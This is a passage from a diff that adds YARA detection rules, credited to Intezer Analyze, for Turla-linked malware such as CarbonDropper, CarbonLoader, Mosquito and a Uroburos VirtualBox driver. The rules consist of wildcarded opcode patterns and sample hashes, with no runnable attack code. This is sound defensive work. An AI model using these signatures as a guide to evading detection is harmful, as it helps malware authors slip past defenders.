+		$block_4 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 8B ?? ?? 8B ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_5 = { FF 7? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 33 ?? 4? 85 ?? 5? 0F 45 ?? E8 ?? ?? ?? ?? 83 }
+		$block_6 = { 8B ?? 83 ?? ?? 89 ?? 33 ?? 39 ?? 0F 45 ?? 03 ?? 89 ?? ?? 8D ?? ?? 3B ?? 72 }
+		$block_7 = { 8D ?? ?? 89 ?? ?? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 5? 5? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_10 = { 5? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_11 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 5? 33 ?? 8B ?? 85 ?? 0F 84 }
+		$block_12 = { 85 ?? 89 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 44 }
+
+	condition:
+		hash.sha256(0, filesize) == "de660457cab011deedf4c1a142021b8702ab94ce71dc5e0c75300253e7db3ee0" or
+		12 of them
+}
+
+rule CarbonDropper_v3_71_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 88 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8A ?? ?? ?? ?? ?? 5? 89 ?? ?? 66 ?? ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? ?? ?? 88 ?? ?? 8B ?? ?? ?? ?? ?? 5? 66 ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 5? 89 ?? ?? 8B ?? ?? ?? ?? ?? 88 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 66 ?? ?? ?? ?? ?? ?? 89 ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? C6 ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 66 ?? ?? ?? 88 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 6A ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 5? 5? 6A ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 84 ?? 74 }
+		$block_1 = { 5? 8B ?? 83 ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? C6 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? C6 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 6A ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_2 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 88 ?? ?? E8 ?? ?? ?? ?? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_3 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 5? 5? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? C6 ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? 68 ?? ?? ?? ?? 5? FF D? 83 ?? ?? 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { FF 1? ?? ?? ?? ?? 83 ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? FF D? 83 ?? ?? 8B ?? 68 ?? ?? ?? ?? 89 ?? ?? ?? FF D? 83 ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_6 = { 5? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 5? 6A ?? FF D? 5? FF D? 8B ?? ?? 5? 6A ?? 8B ?? FF D? 5? FF D? 89 ?? ?? 8B ?? ?? 5? 6A ?? FF D? 5? FF D? 85 ?? 0F 84 }
+		$block_7 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 5? 6A ?? 6A ?? 5? 89 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_8 = { 8B ?? ?? ?? 8B ?? ?? ?? 5? 5? 6A ?? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_9 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "3b8bd0a0c6069f2d27d759340721b78fd289f92e0a13965262fea4e8907af122" or
+		10 of them
+}
+
+rule Mosquito {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 33 ?? 8D ?? ?? ?? BA ?? ?? ?? ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 76 }
+		$block_1 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 5? 68 ?? ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 0F 8C }
+		$block_2 = { 8B ?? 89 ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_4 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_5 = { 8B ?? ?? 8B ?? 8B ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 8B ?? ?? ?? 85 ?? 0F 85 }
+		$block_6 = { 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? 8B ?? ?? 5? FF D? 8B ?? ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_8 = { 2B ?? D1 ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 3B ?? 0F 86 }
+		$block_9 = { 8B ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 6A ?? 6A ?? 5? 8B ?? ?? FF D? 83 ?? ?? ?? ?? 0F 84 }
+		$block_10 = { 8D ?? ?? ?? 5? BB ?? ?? ?? ?? 8B ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_11 = { 8B ?? ?? ?? 33 ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 5? 68 ?? ?? ?? ?? FF D? FF 1? ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 95 ?? 8B ?? 3B ?? 74 }
+		$block_14 = { 2B ?? ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 83 ?? ?? 0F 83 }
+		$block_15 = { 8D ?? ?? ?? 5? 8B ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_16 = { 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_18 = { 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_19 = { 8B ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 88 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_20 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_21 = { 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_22 = { 5? 5? 5? 6A ?? 5? 5? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 8C }
+		$block_23 = { E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_24 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 8B ?? ?? 8B ?? 8B ?? ?? FF D? 8B ?? ?? 2B ?? 83 ?? ?? 0F 82 }
+		$block_26 = { 2B ?? D1 ?? B9 ?? ?? ?? ?? 2B ?? 8B ?? ?? ?? 3B ?? 0F 87 }
+		$block_27 = { 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_28 = { 33 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_29 = { 8B ?? ?? ?? FF 4? ?? ?? 01 ?? 03 ?? 3B ?? ?? 0F 83 }
+		$block_30 = { 0F B7 ?? 66 ?? ?? 83 ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_31 = { 0F B7 ?? B9 ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "b4249f6af24ea89976f3f7d9e3a605ccfbfe768069891f62c48df950d9212093" or
+		hash.sha256(0, filesize) == "a2af1e9af48c4fa52a52ffba734ffeaa46c17d7320137d51dbd15539cc4cef8b" or
+		hash.sha256(0, filesize) == "443cd03b37fca8a5df1bbaa6320649b441ca50d1c1fcc4f5a7b94b95040c73d1" or
+		hash.sha256(0, filesize) == "62209d2f0ceeff20534292d5a58ed532c960579b75927321f4f7c7e7079dd06a" or
+		hash.sha256(0, filesize) == "a41a80cd7a485e5bcb038b0170e70a25040c71a41dad4bc2c8f3915fbcbeac0c" or
+		hash.sha256(0, filesize) == "555efee854fd1ffe71bc6130ec51995f89ceb93b9ee0e6e22d9c911d0adf7699" or
+		hash.sha256(0, filesize) == "f9b83eff6d705c214993be9575f8990aa8150128a815e849c6faee90df14a0ea" or
+		hash.sha256(0, filesize) == "2bc291368b3819de13a3aa8365f22de94acebf2f93133c38bfdade770c9d8f1e" or
+		hash.sha256(0, filesize) == "bdcc7e900f10986cdb6dc7762de35b4f07f2ee153a341bef843b866e999d73a3" or
+		12 of them
+}
+
+rule CarbonLoader_v3_77_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 40 ?? 5? 5? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 41 ?? ?? 45 ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? 4D ?? ?? 0F 84 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF C? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 48 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? 33 ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 44 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 40 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 33 ?? 33 ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 33 ?? 48 ?? ?? ?? 48 ?? ?? 66 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$block_5 = { 33 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 66 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_7 = { 4C ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_8 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? 48 ?? ?? 66 ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "050685f211158109fb1b17096b3739750e74049fe9057ad3503d96174b42891a" or
+		10 of them
+}
+
+rule CarbonLoader_v3_71_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 40 ?? 5? 5? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 41 ?? ?? 45 ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? 4D ?? ?? 0F 84 }
+		$block_1 = { 44 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 40 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 33 ?? 33 ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 33 ?? 48 ?? ?? ?? 48 ?? ?? 66 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$block_4 = { 33 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 66 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_5 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 4C ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_8 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? 48 ?? ?? 66 ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_9 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "31b176b9906211c14ee5b9cff4c56f71866ec47d7f7c783aeb31692168d66566" or
+		hash.sha256(0, filesize) == "1a488c6824bd39f3568346b2aaf3f6666f41b1d4961a2d77360c7c65c7978b5e" or
+		hash.sha256(0, filesize) == "02f9501cb01b375e752a9cc4aa5ee084a504944bdc853e1bdfc860dd76e0d198" or
+		hash.sha256(0, filesize) == "ba9a87ba0ad1a4f4e81583a1449b20bf703cdbee6b1a639c13f4cbcd1b9eb57f" or
+		10 of them
+}
+
+rule UroburosVirtualBoxDriver {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 48 ?? ?? ?? 3B ?? 0F 46 ?? 85 ?? 74 }
+		$block_1 = { 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_2 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 4D ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_3 = { 8B ?? 48 ?? ?? ?? ?? 41 ?? ?? C1 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 88 }
+		$block_4 = { 45 ?? ?? ?? 45 ?? ?? ?? 65 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 33 ?? 0F B6 ?? 3B ?? 74 }
+		$block_5 = { 48 ?? ?? 49 ?? ?? ?? 4D ?? ?? ?? 45 ?? ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_6 = { B8 ?? ?? ?? ?? 0F A2 3D ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 72 }
+		$block_7 = { B8 ?? ?? ?? ?? 0F A2 0F BA ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 72 }
+		$block_8 = { 48 ?? ?? ?? ?? C1 ?? ?? 41 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 88 }
+		$block_9 = { 8B ?? B8 ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 44 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 5? C3 }
+		$block_10 = { 48 ?? ?? ?? ?? 8B ?? 41 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 88 }
+		$block_11 = { 49 ?? ?? ?? 49 ?? ?? ?? 45 ?? ?? 48 ?? ?? 4D ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_12 = { 33 ?? 0F A2 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 72 }
+		$block_13 = { 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? B8 ?? ?? ?? ?? 85 ?? 0F 49 }
+		$block_14 = { B9 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_15 = { 4C ?? ?? ?? 48 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_16 = { 40 ?? 5? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
